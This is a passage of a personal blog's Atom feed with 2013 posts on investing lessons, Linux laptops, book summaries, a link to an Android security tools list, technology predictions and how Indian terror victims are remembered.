<li><strong>Money is not always invested</strong> While one can buy equities/bonds anytime in open market, P2P lending will not begin till the funding is finished. Eg. As a lender, you saw someone requesting a loan of 10, 000$ and decided to buy notes worth 1000$, but the rest of 9000$ did not arrive for next one week then the investing period won&rsquo;t begin till then (even worse, all the loan requests have deadline and if requests is not 100% fulfilled then the loan will not be granted and you will get the money back after one week of lock-in and no gains). Therefore, the net annualized returns are misleading.</li>
</ol>
<p>The bottom line is simple: If you want to try out P2P lending for fun then go ahead and try with small amount of money. Serious investors should probably stay away from it.</p>
]]></content><category scheme="https://ashishb.net/category/finance" term="finance" label="finance"/><category scheme="https://ashishb.net/tag/personal-finance" term="personal-finance" label="personal-finance"/></entry><entry><title type="html">Malkiel's Timeless lessons for Investors</title><link href="https://ashishb.net/finance/malkiels-timeless-lessons-for-investors/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/finance/finance-101-type-of-money-holding-accounts/?utm_source=atom_feed" rel="related" type="text/html" title="Finance 101: Type of money holding accounts"/><link href="https://ashishb.net/finance/finance-101-terminology/?utm_source=atom_feed" rel="related" type="text/html" title="Finance 101: Terminology"/><link href="https://ashishb.net/book-summary/one-up-on-wall-street/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: One up on Wall Street by Peter Lynch"/><link href="https://ashishb.net/book-summary/the-intelligent-investor/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: The Intelligent Investor by Benjamin Graham"/><link href="https://ashishb.net/finance/finance-101-credit-cards/?utm_source=atom_feed" rel="related" type="text/html" title="Finance 101: Credit Cards"/><id>https://ashishb.net/finance/malkiels-timeless-lessons-for-investors/</id><author><name>Ashish Bhatia</name></author><published>2013-08-26T07:31:50+00:00</published><updated>2013-08-26T07:31:50+00:00</updated><content type="html"><![CDATA[<blockquote>Unlock investment success with timeless strategies: buy-and-hold, dollar-cost averaging, and diversification. Discover why low-cost index funds outperform active funds!</blockquote><p>Notes from Burton Malkiel&rsquo;s talk to Google in 2010.</p>
<p>Lesson #1: Buy-and-hold is still the best strategy
Not only timing the market is tough but people who are trying to time the market loose more often than not.</p>
<p>Lesson #2: Dollar-cost Averaging
Since it is impossible to guess whether the market is going to go bull or a bear, it is better to invest over a period rather than in one-shot.</p>
<p>Lesson #3: Rebalance yearly
It guarantees minimum volatility and unless the market is going monotonically upwards, it guarantees best returns as well.</p>
<p>Lesson #4: Diversifying helps
Even though markets across the world are correlated, gains in emerging markets are usually higher.</p>
<p>Lesson #5: Costs matter
Always judge the mutual funds by the expense ratio, lower the expense ratio, usually better the fund.</p>
<p>Lesson #6: Indexing helps
Roughly 2/3rd (actively managed) mutual funds are beaten by (unmanaged) S&amp;P 500 every year.
Core portfolio must be held in low-cost index funds, small proportions can then be invested in risker investments for seeking higher alpha.</p>
<p>Good chinese ETFs (He was personally managing some of these funds at that time).
FXI - only 25 companies
YAO - 150 companies (recommended)
HAO - small private companies</p>
]]></content><category scheme="https://ashishb.net/category/finance" term="finance" label="finance"/><category scheme="https://ashishb.net/tag/finance" term="finance" label="finance"/></entry><entry><title type="html">The Missing Linux Laptop</title><link href="https://ashishb.net/tech/the-weird-state-of-laptop-industry/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/tech/vivek-wadhwa-the-next-trillion-dollar-opportunities-in-this-decade/?utm_source=atom_feed" rel="related" type="text/html" title='Vivek Wadhwa: "The next Trillion Dollar Opportunities"'/><link href="https://ashishb.net/tech/outsourcing/?utm_source=atom_feed" rel="related" type="text/html" title="Why software outsourcing gets a bad reputation?"/><link href="https://ashishb.net/tech/journey-of-online-influencers/?utm_source=atom_feed" rel="related" type="text/html" title="Journey of online influencers"/><link href="https://ashishb.net/tech/shortcuts/?utm_source=atom_feed" rel="related" type="text/html" title="Shortcuts - when we love them and when we don't"/><link href="https://ashishb.net/tech/github-stars/?utm_source=atom_feed" rel="related" type="text/html" title="The real lock-in in GitHub is not the code, but the stars"/><id>https://ashishb.net/tech/the-weird-state-of-laptop-industry/</id><author><name>Ashish Bhatia</name></author><published>2013-08-21T08:11:30+00:00</published><updated>2013-08-21T08:11:30+00:00</updated><content type="html"><![CDATA[<blockquote>Searching for the perfect GNU/Linux laptop? Discover why the MacBook Pro remains unrivaled, even for Linux lovers, amidst limited quality alternatives.</blockquote><p>For the past one month or so, I am looking around for a good personal laptop running GNU/Linux. I was looking for something similar to my current Mac Book Pro</p>
<p>My constraints were following</p>
<ol>
<li>Intel processor - 2.4 GHz or better</li>
<li>16 GB or more RAM</li>
<li>15-16&quot; screen since 14&quot; screen does not work for the software development</li>
<li>Sleek body - ~1&quot; or less in thickness</li>
<li>Good build quality</li>
<li>At least 1080p - 1920x1080 resolution</li>
<li>the chiclet keyboard and preferably without the useless numeric keypad</li>
<li>Preferably running GNU/Linux - porting GNU/Linux to a laptop can end up being painful)</li>
<li>Preferably 16:10 or lesser - I gave up on this constraint since it seems all laptops come only in 16:9 nowadays, except Macs and Chromebook Pixel</li>
</ol>
<p>After spending several days looking for the same, following were my conclusions</p>
<ol>
<li>The only good GNU/Linux laptop sellers are   
    
    
<a href="https://www.system76.com?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">System76</a> and   
    
    
<a href="https://www.mythlogic.com?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Mythlogic</a> - They resell the laptops made by Clevo/Sager and Compal, who are Taiwanese ODMs. Unfortunately, these ODMs are not interested in producing good quality laptops. And the resellers are stuck selling the laptops provided by them. Or, in words of AnandTech, &ldquo;As I said, though, the interior of the W550EU is utterly devoid of style. This is an inherent problem all the Taiwanese ODMs have: either obscenely bland, chintzy, and style-free (Clevo and Compal), or gaudy to the point of delirium (MSI)&rdquo; [   
    
    
<a href="https://www.anandtech.com/show/6969/mythlogic-callisto-1512-clevo-w550eu-ultrabook-review/2?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">source</a>].
Lenovo, ASUS, or Samsung, none of them have decided to produce a good Linux laptop, which competes with Apple&rsquo;s Mac Book Pro(MBP). Chromebook Pixel is   
    
    
<a href="https://www.google.com/chromebook/#pixel-specs?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">underwhelming</a> not only due to its 13&quot; screen size but even in specs - 1.8 GHz processor with just 4 GB of RAM - for an obscene price of $1600.</li>
<li>Mythlogic has   
    
    
<a href="https://www.mythlogic.com/configure.php?id=126&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Callisto 1512</a>, which seems to fit great (except for the build quality), but they told me that it&rsquo;s not their active model anymore.</li>
<li>System76 has two great laptops   
    
    
<a href="https://www.system76.com/laptops/model/gazp9?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Gazelle Pro</a> which is more than 1&quot; thick and heavy, and   
    
    
<a href="https://www.system76.com/laptops/model/galu1?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Galago Ultra Pro</a>, which is sleek and has 14&quot; screen. Both are great, except none of them offer the build quality anywhere even close to Dell/Lenovo due to their ODM Clevo.</li>
<li>An Australian company Logical Blue one seems to have   
    
    
<a href="https://www.logicalblueone.com.au/store/546-horize-w650eh-ultranote.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">good</a> GNU/Linux offerings.</li>
<li>Some good windows laptops left were   
    
    
<a href="https://www.samsung.com/us/series-9-laptop/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Samsung Series 9</a>, ASUS 15&quot; Zenbook UX51z, Sony S - all look good but are almost as expensive as MBP and way more expensive than Mac Book Air despite being underwhelming in specs.</li>
<li>Vizio looks excellent except for running windows and no RAM/processor customization option.</li>
<li>  
    
    
<a href="https://shop.lenovo.com/gb/en/laptops/thinkpad/s-series/s531/#techspecs?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">ThinkPad S531</a> looks great, but as of Aug 20, 2013, even Lenovo&rsquo;s customer care is not aware of a launch date.</li>
</ol>
<p>The writing is on the wall. Apple&rsquo;s Mac Book Pro&rsquo;s are incomparable for software engineers who prefer GNU/Linux like interface. Apple has complete control not only over the higher end of the market but also over software engineers who can afford one. The others seem to be playing a catchup game. Hell, even Linus Torvalds   
    
    
<a href="https://www.businessinsider.com/linus-torvalds-loves-his-macbook-air-2012-4?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">love</a> them. Three months back, Mark Shuttleworth fixed a   
    
    
<a href="https://bugs.launchpad.net/ubuntu/&#43;bug/1?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">bug</a> that Microsoft no longer has majority market share; I wonder if he would file another one for Apple anytime soon.</p>
]]></content><category scheme="https://ashishb.net/category/tech-thoughts" term="tech-thoughts" label="tech-thoughts"/></entry><entry><title type="html">Book Summary: The Power of Less by Leo Babuta</title><link href="https://ashishb.net/book-summary/the-power-of-less/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/book-summary/the-start-up-of-you/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: The Start-Up of You"/><link href="https://ashishb.net/book-summaries/discontented-little-baby-book/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: The Discontented Little Baby Book by Pamela Douglas"/><link href="https://ashishb.net/book-summaries/natural-baby-sleep-solution/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary: The Natural Baby Sleep Solution by Polly Moore"/><link href="https://ashishb.net/book-summary/one-up-on-wall-street/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: One up on Wall Street by Peter Lynch"/><link href="https://ashishb.net/book-summary/sick-societies/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary: Sick Societies by Robert B. Edgerton"/><id>https://ashishb.net/book-summary/the-power-of-less/</id><author><name>Ashish Bhatia</name></author><published>2013-07-10T01:44:10+00:00</published><updated>2013-07-10T01:44:10+00:00</updated><content type="html"><![CDATA[<blockquote>Discover pragmatic advice on simplifying life with &ldquo;The Power of Less.&rdquo; Focus on essentials, set limits, and create impactful habits. Maximize time and energy now!</blockquote><p>The   
    
    
<a href="https://amzn.to/16ZdXjU?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">book</a> contains pragmatic advice for dealing with the clutter and noise of the everyday world, which disguises itself in the form of work. The book has two parts. First one focuses on the principles and the second one provides concrete practical advice based on the same.</p>
<p><img alt="The Power of Less" loading="lazy" src="/book-summary/the-power-of-less/the-power-of-less-cover.jpg"></p>
<h2 id="principles">Principles</h2>
<ol>
<li>Why less is powerful - In the contemporary world, whether it&rsquo;s physical or virtual goods, we consume more and we produce more. Doing more pushes us towards things which are easier and usually unimportant. By deciding to do less, we can actually do things which are essential and more important albeit more challenging.
<strong>Principle 1: By setting a limit to what we do, we focus ourselves to choose only the essentials.</strong> <strong>Principle 2: By choosing to do only the essential, we create maximum impact with minimal resources. Thus, one should always choose essential to maximize time and energy.</strong> The idea is to start with a list of things to be done, the impact they will create and to prune the list based on how they correlate with the long-term goals.</li>
<li>The art of setting limits - Setting limits simplifies things, improves focus, increases the effectiveness of efforts and helps us in achieving our goals.
To set limits, one should look into areas of life which are overwhelming and then set experiment with reasonable limits till a final value is reached.</li>
<li>Choosing the essential and simplifying - It&rsquo;s important to decide what is essential. A simple guide to deciding essential questions will look like this -
What are your values?
What are your goals?
What do you love?
What is important to you?
What has the biggest impact?
What has the most long-term impact?
Needs vs wants? [do you really need it or do you just want it]
Eliminate the non-essential things
[Repeat above steps from time to time]
<strong>Principle 3: Simplify - Eliminate the nonessential</strong></li>
<li>Simple focus - focus on one task to improve productivity. Multitasking is inefficient, complicated and just causes anxiety and stress.
<strong>Principle 4: Focus is the most important tool in becoming more effective</strong> There are many aspects to focus - one should focus on a particular goal. One should focus on the present (mindfulness). One should focus on the task at hand (single-tasking). And one should focus on the positive outcomes of the task.</li>
<li>Create new habits - create new habits but don&rsquo;t attempt all of them at once or even all of it at once. Attempt slow and stable changes over time.
<strong>Principle 5: Create new habits to make long-lasting improvements.</strong> Select one habit, decide the plan and publicly post about it, try to stick to the habit for 30 days and then it will be well entrenched.
It is important that there is a measurable goal associated with the habit to mark the progress.</li>
<li>Start small
<strong>Principle 6: Start new habits in small increments to ensure success.</strong> Gradual changes are easy to make, have a higher chance of success and narrows down the focus leading to long-lasting impact. So, for example, rather than trying to wake an hour earlier, try in increments of 15 minutes.</li>
</ol>
<h2 id="practice">Practice</h2>
<ol>
<li>Simple Goals and Projects - Choose one goal at a time, which is doable in 6 months to 1-year timeframe. Break it into sub-goals and then decide weekly goals and daily actions to attain that. List all projects in your life and focus on completing at most three of them at a time. Start with three since some projects will be held back due to external reasons. Don&rsquo;t move onto new projects till you finish all three.</li>
<li>Simple Tasks - Create a list of MITs (Most Important Tasks) in the morning. Finish them asap working on one at a time. If tasks are big, divide it into subtasks of size 15 min to 1 hour, that makes it less intimidating.</li>
<li>Simple Time Management - First focus on MITs. Then do batch processing of things like inbox, paper mails, house cleaning, etc. after finishing MITs. Use time management tools like Calendar.</li>
<li>Simple E-mail - List all sources of information like blogs etc. Combine multiple sources of information, check it 2-3 times a day. Do not check e-mail as the first thing in the morning. Turn off email notifications. Keep zero inbox, to-do emails should go to the to-do list, don&rsquo;t let them linger in the inbox as unread emails.</li>
<li>Simple Internet - Track your usage using   
    
    
<a href="https://www.toggl.com?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Toggl</a>,   
    
    
<a href="https://www.nbdtech.com/yaTimer?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">yaTimer</a> or   
    
    
<a href="https://www.tickspot.com?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Tick</a>. Make a plan to set blocks of time for work, another block for e-mails, another for fun, etc. Try working by disconnecting the Internet. Control the urge to visit the internet by writing questions on a notepad and then process them in a single batch later.</li>
<li>Simple filing - Reduce paper junk by moving to paperless delivery. File it using alphabetically listed folders,  file immediately.</li>
<li>Simple commitments - Over time, we take up more commitments than we can handle. List all commitments including work, family, personal, etc. Reduce it to a short list of 4-5 most important ones. Eliminate all commitments which are not on the short list of important commitments. Learn to say &ldquo;No&rdquo; to people, keep the margin between multiple appointments to avoid the rush.</li>
<li>Simple Daily Routine - Have a morning routine of 4-6 items like having coffee, taking shower, reading, exercise, deciding MITs, etc. Email does not deserve to be in the morning routine. Similarly, have an evening routine of 4-6 items. Email does not deserve to go here either. Try to include activities which you like in these routines to avoid boredom. Log your progress to see how well you are doing on these.</li>
<li>Declutter the workspace - since it allows you to focus and brings a sense of calmness. Remove everything from desk apart from essential items. Schedule regular decluttering sessions to keep clutter in check. If possible, reduce the habits which cause clutter in the first place.</li>
<li>Slow Down - Try to focus attention on one task at a time. If needed, do meditation in the morning to increase attention span. Focus on MITs (one a time), choose an important and challenging task (neither hard nor too easy). Eat slowly to reduce the amount of food you eat, it improves digestion as well. Drive slowly - keep to the right, leave early.</li>
<li>Simple Health and Fitness - Form a habit of exercise, start with a simple plan and improve it over time. Preferably, get a partner to have better discipline. For diet, improve gradually by eating light food slowly until you are lightly full (and not stuffed). having a blog recording such things also provides motivation.</li>
<li>On Motivation - When starting something learn to hold yourself back a bit. Don&rsquo;t put maximum effort in the beginning or else you will exhaust yourself soon. Replace negative thoughts with positive ones. Think about the benefits, never skip a daily activity two days in a row (one is OK, but two is too much). Have a coach and visualize your success.</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/book-summaries" term="book-summaries" label="book-summaries"/></entry><entry><title type="html">Android Security related tools</title><link href="https://ashishb.net/security/android-security-related-tools/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/security/android-security-dont-leave-webview-debugging-enabled-in-production/?utm_source=atom_feed" rel="related" type="text/html" title="Don't leave Android WebView debugging enabled in production"/><link href="https://ashishb.net/programming/how-to-upgrade-nexus-4-to-android-4-4-kitkat/?utm_source=atom_feed" rel="related" type="text/html" title="How to upgrade Nexus 4 to Android 4.4 Kitkat"/><link href="https://ashishb.net/programming/maintaining-android-app/?utm_source=atom_feed" rel="related" type="text/html" title="Maintaining an Android app is a lot of work"/><link href="https://ashishb.net/programming/android-stale-views/?utm_source=atom_feed" rel="related" type="text/html" title="Android: Don't use stale views"/><link href="https://ashishb.net/programming/use-makefile-for-android/?utm_source=atom_feed" rel="related" type="text/html" title="Use Makefile for Android"/><id>https://ashishb.net/security/android-security-related-tools/</id><author><name>Ashish Bhatia</name></author><published>2013-05-19T02:25:29+00:00</published><updated>2013-05-19T02:25:29+00:00</updated><content type="html"><![CDATA[<blockquote>Discover the latest tools for dynamic analysis, static analysis, and reverse engineering of Android apps in academia and industry. Check out the updated list now!</blockquote><p>  
    
    
<a href="https://github.com/ashishb/android-security-awesome?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener"><img alt="GitHub Repo stars" loading="lazy" src="https://img.shields.io/github/stars/ashishb/android-security-awesome?style=flat-square&label=GitHub%20Stars"></a></p>
<p>A lot of work is happening in academia and industry on tools to perform dynamic analysis, static analysis,
and reverse engineering of android apps. A list of those tools can be seen at
  
    
    
<a href="https://github.com/ashishb/android-security-awesome?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">https://github.com/ashishb/android-security-awesome</a>.</p>
]]></content><category scheme="https://ashishb.net/category/security" term="security" label="security"/><category scheme="https://ashishb.net/tag/android" term="android" label="android"/></entry><entry><title type="html">Book Summary: The Start-Up of You</title><link href="https://ashishb.net/book-summary/the-start-up-of-you/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/book-summary/the-lean-startup/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary: The Lean Startup by Eric Ries"/><link href="https://ashishb.net/book-summary/remote-office-not-required/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary: Remote - office not required"/><link href="https://ashishb.net/book-summary/how-to-create-a-mind-by/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary: How to create a mind by Ray Kurzweil"/><link href="https://ashishb.net/book-summary/winners-take-all-the-9-fundamental-rules-of-high-tech-strategy/?utm_source=atom_feed" rel="related" type="text/html" title="Winners Take All - The 9 fundamental rules of high tech strategy"/><link href="https://ashishb.net/book-summary/the-tangled-web/?utm_source=atom_feed" rel="related" type="text/html" title="Book Review: The Tangled web"/><id>https://ashishb.net/book-summary/the-start-up-of-you/</id><author><name>Ashish Bhatia</name></author><published>2013-05-15T08:18:14+00:00</published><updated>2013-05-15T08:18:14+00:00</updated><content type="html"><![CDATA[<blockquote>Discover practical strategies for career growth and personal branding in today&rsquo;s ever-changing job market with insights on adaptability, competitive advantage, and networking.</blockquote><p>The   
    
    
<a href="https://amzn.to/108cTZv?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">book</a> tries to reflect on an individual&rsquo;s professional growth in the contemporary era of fickle employment guarantees.
The best part about the book is that it tries to offer pragmatic, as opposed to principled advice, regarding career development and branding.</p>
<p><img alt="The Start-Up of You" loading="lazy" src="/book-summary/the-start-up-of-you/the-startup-of-you-cover.jpg"></p>
<p>Following is my short summary of the same.</p>
<ol>
<li><strong>Avoid complacency</strong>: The world changes really fast, Detroit use to be what Silicon Valley is today,
but then it became complacent and has been reduced to abandoned buildings.
People who become complacent with their skill set would realize that it has become outdated.
The book emphasizes that one must update his/her skill set, both hard and soft, regularly.</li>
<li><strong>Competitive advantage</strong>: The authors reject the theoretical notion of &ldquo;inherent passion&rdquo; and a &ldquo;static world&rdquo;.
Since the world is dynamic, one cannot expect a fixed plan to work, the plan has to evolve as the world changes.
<ul>
<li>What you have - assets ( qualitative skills as well as quantitative money/real estate) - these alone are not sufficient unless someone is willing to pay for them.</li>
<li>What you aspire to be - Aspirations - it&rsquo;s good to have, but they must be realistic.</li>
<li>One has to see assets, aspirations, and market realities in conjunction with each other and realize that all of them will evolve with time.</li>
<li>The author recommends that one should look around for a good opportunity with less competition than a great opportunity with extreme competition.</li>
</ul>
</li>
<li><strong>Plan to Adapt</strong>: Flickr was originally a game (Neverending) but then its photo-sharing feature became more popular
than the game, so, it transformed itself into a photo-sharing site.
<ul>
<li>Make plans - be ready to change them as market demands - don&rsquo;t make random changes make planned changes.</li>
<li><strong>ABZ planning</strong>:
<ol>
<li>Plan A - what you are doing right now</li>
<li>Plan B - pivot from A when it feels it might be better than A</li>
<li>Plan Z - fallback, if both A and B fail</li>
</ol>
</li>
<li>All plans should be explicit in terms of time.</li>
<li>Prioritize learning over making money and try learning by doing.</li>
<li>Avoid immediate gratification.</li>
<li>Try making small reversible bets (eg. trying out a FOSS project on the side related to any idea you might have)</li>
</ul>
</li>
<li><strong>Network</strong>: Understand the importance of the network, and put aside some time and money specifically to meet people,
when trying to meet someone says &ldquo;what you can do for him/her&rdquo;, and occasionally send emails to maintain contact.
Have some core allies, who defend you, and you defend them and then have weaker ties surrounding the core.</li>
<li><strong>Pursue Breakout opportunities</strong>: Keep an eye around for breakout opportunities. These are random but can have a huge impact on career.</li>
<li><strong>Take Intelligent Risks</strong>: Think about whether you can face the worst-case scenario, also, don&rsquo;t conflate uncertainty
with risk. Uncertainty is fine, risk must be accounted for.
It&rsquo;s good to take regular small risks to avoid ending up taking a much larger one later.
Several small shocks are better than a big one.</li>
<li><strong>Network Intelligence</strong>: Use your network for guidance along with general as well as specific questions,
and schedule lunches with friends/people ahead of you/people in another interesting industry.
Such non-specific conversations can lead to serendipitous intelligence.</li>
</ol>
<p>One can read a more comprehensive summary on the official   
    
    
<a href="https://www.thestartupofyou.com/wp-content/themes/startupofyoutheme2012/img/TheStart-UpofYou-ExecutiveSummary.pdf?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">website</a>.</p>
]]></content><category scheme="https://ashishb.net/category/book-summaries" term="book-summaries" label="book-summaries"/><category scheme="https://ashishb.net/tag/technology" term="technology" label="technology"/></entry><entry><title type="html">Vivek Wadhwa: "The next Trillion Dollar Opportunities"</title><link href="https://ashishb.net/tech/vivek-wadhwa-the-next-trillion-dollar-opportunities-in-this-decade/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/tech/the-weird-state-of-laptop-industry/?utm_source=atom_feed" rel="related" type="text/html" title="The Missing Linux Laptop"/><link href="https://ashishb.net/tech/outsourcing/?utm_source=atom_feed" rel="related" type="text/html" title="Why software outsourcing gets a bad reputation?"/><link href="https://ashishb.net/tech/journey-of-online-influencers/?utm_source=atom_feed" rel="related" type="text/html" title="Journey of online influencers"/><link href="https://ashishb.net/tech/shortcuts/?utm_source=atom_feed" rel="related" type="text/html" title="Shortcuts - when we love them and when we don't"/><link href="https://ashishb.net/tech/github-stars/?utm_source=atom_feed" rel="related" type="text/html" title="The real lock-in in GitHub is not the code, but the stars"/><id>https://ashishb.net/tech/vivek-wadhwa-the-next-trillion-dollar-opportunities-in-this-decade/</id><author><name>Ashish Bhatia</name></author><published>2013-04-20T18:55:13+00:00</published><updated>2013-04-20T18:55:13+00:00</updated><content type="html"><![CDATA[<blockquote>Explore trillion-dollar opportunities in proactive healthcare, 3D printing, robotics, and more.</blockquote><p>(Opinions expressed here are my understanding of Vivek Wadhwa&rsquo;s opinion)
&ldquo;The next Trillion Dollar Opportunities&rdquo; (in this decade)</p>
<p>China&rsquo;s manufacturing and India&rsquo;s call center business are saturated.
The PC industry is dead, Laptop is flat, and mobile is going up.</p>
<h2 id="next-trillion-dollar-opportunities">Next trillion-dollar opportunities</h2>
<ol>
<li><strong>Proactive health care</strong>
Preventive care is much cheaper.
Expect sensors everywhere (in the toothbrush, toilet, mirror, etc.) to give info based on spotted symptoms.
IBM Watson is being trained on medical data.
Soon, nanobots will go inside the body for drug release/monitoring.</li>
<li><strong>Manufacturing</strong> Robotics taking over (   
    
    
<a href="https://www.rethinkrobotics.com/index.php/products/baxter/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Baxter</a> - 22K robot - will cost 1-2 $ per hour of work after that).
Manufacturing coming back to the USA.
America is being automated.</li>
<li><strong>3D Printing</strong>
Current 3D printers 200 (low end) -1500$ (high end).
Expect prices.to go down to 200$ for high-end in 5 years =&gt; household goods can be printed at home.</li>
<li><strong>Finance</strong>
Square-like mobile payments exploding
Bitcoin carries a negative image, expect government-backed digital currency soon.
mPaisa in Kenya -  60% of transactions via sms now (25% of Kenya&rsquo;s GDP).</li>
<li><strong>Transportation</strong>
Robotic drones going to take over for deliveries
Self-driving cars are imminent.</li>
<li><strong>Computing</strong>
Big data
Internet-enabled devices augmented by high-speed internet (Google Fiber)
New UIs - touch-based interfaces, augmented reality (Google Glass)</li>
<li><strong>Synthetic Biology</strong></li>
</ol>
<p>We are taking exponential (and not linear) steps in technology and humans are not good at predicting the impact of exponential changes.</p>
<h2 id="grand-problems">Grand Problems</h2>
<ol>
<li><strong>Energy</strong>
Solar energy is ~ 10, 000 times total human energy consumption.
97% fall in solar energy prices in 35 years and it&rsquo;s still falling, in 10 years, it will be grid parity.
Solar is already at par with diesel prices in India.</li>
<li><strong>Water Shortage</strong>
Energy is free =&gt; Water distillation is free.
Dean Kaeman&rsquo;s   
    
    
<a href="https://www.huffingtonpost.com/2013/03/25/dean-kamen-slingshot-inventor_n_2951354.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">slingshot</a> purifies water (it consumes less energy than a hair dryer)</li>
<li><strong>Education</strong> More education is accessible online now, tablets provide easier/better access.</li>
<li><strong>&ldquo;In vitro&rdquo; meat</strong> Two silicon valley companies working on that.</li>
<li><strong>Connected world</strong> Better flow of information.
Helped in social revolution.</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/tech-thoughts" term="tech-thoughts" label="tech-thoughts"/></entry><entry><title type="html">Beyond Numbers: Dealing with terrorism in India</title><link href="https://ashishb.net/politics/beyond-numbers-dealing-with-terrorism/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/misc/random-thoughts-rape-and-the-indian-blame-game/?utm_source=atom_feed" rel="related" type="text/html" title="Random Thoughts: Rape and The Indian Blame Game"/><link href="https://ashishb.net/politics/thoughts-on-bureaucrats-technocrats-and-politicians/?utm_source=atom_feed" rel="related" type="text/html" title="Thoughts on Bureaucrats, Technocrats and Politicians"/><link href="https://ashishb.net/politics/understanding-corruption-a-talk-by-subramanian-swamy/?utm_source=atom_feed" rel="related" type="text/html" title="Understanding Corruption: A talk by Subramanian Swamy"/><link href="https://ashishb.net/tech/indian-startup-bubble/?utm_source=atom_feed" rel="related" type="text/html" title="The Indian startup bubble is insane"/><link href="https://ashishb.net/travel/why-indian-passport-remains-weak/?utm_source=atom_feed" rel="related" type="text/html" title="Why Indian Passport remains weak"/><id>https://ashishb.net/politics/beyond-numbers-dealing-with-terrorism/</id><author><name>Ashish Bhatia</name></author><published>2013-02-24T16:46:03+00:00</published><updated>2013-02-24T16:46:03+00:00</updated><content type="html"><![CDATA[<blockquote>Compelling blog reveals how the lack of personal stories for Indian terror victims desensitizes the nation. Learn why documenting their lives is crucial for empathy.</blockquote><p>Let&rsquo;s start with a small exercise.
Trying searching for the   
    
    
<a href="https://www.google.com/search?q=List&#43;of&#43;Sept&#43;2011&#43;victims&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">list of Sept 2011 victims</a> or for the   
    
    
<a href="https://www.google.com/search?q=List&#43;of&#43;London&#43;Bombing&#43;victims&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">list of London Bombing victims</a>.
In each case, more than half of the results on the first page lead to a list of names along with the photos and life stories of those people.
Now, trying searching for the   
    
    
<a href="https://www.google.com/search?q=List&#43;of&#43;hyderabad&#43;blast&#43;2013&#43;victims&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">list of Hyderabad blast 2013 victims</a>, you would get a few results like   
    
    
<a href="https://www.terrorismwatch.org/2013/02/list-of-blast-victims-and-dead-in.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">this</a> which lists the names of the people but where are their photos and life stories?</p>
<p>Try another search for a   
    
    
<a href="https://www.google.com/search?q=List&#43;of&#43;Mumbai&#43;attack&#43;2008&#43;victims&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">list of Mumbai attack 2008 victims</a>, what do you get?  a partial list from   
    
    
<a href="https://www.telegraph.co.uk/news/3536066/List-of-those-known-to-have-died-in-the-Mumbai-attacks.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Telegraph</a>, another list of just names from   
    
    
<a href="https://twocircles.net/2008nov28/mumbai_terror_attacks_updated_list_dead_injured.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">two circles</a> and   
    
    
